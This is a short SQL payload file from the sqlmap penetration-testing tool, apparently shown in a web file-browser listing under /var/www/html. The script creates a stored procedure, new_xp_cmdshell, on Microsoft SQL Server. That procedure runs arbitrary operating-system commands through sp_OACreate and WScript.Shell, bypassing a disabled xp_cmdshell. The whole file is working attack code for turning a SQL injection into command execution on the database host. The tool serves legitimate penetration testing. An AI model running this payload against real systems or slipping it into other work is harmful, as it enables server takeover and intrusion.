| Path : /var/www/html/sqlmap/data/procs/mssqlserver/ |
| Current File : /var/www/html/sqlmap/data/procs/mssqlserver/create_new_xp_cmdshell.sql |
DECLARE @%RANDSTR% nvarchar(999); set @%RANDSTR%='CREATE PROCEDURE new_xp_cmdshell(@cmd varchar(255)) AS DECLARE @ID int EXEC sp_OACreate ''WScript.Shell'',@ID OUT EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1 EXEC sp_OADestroy @ID'; EXEC master..sp_executesql @%RANDSTR%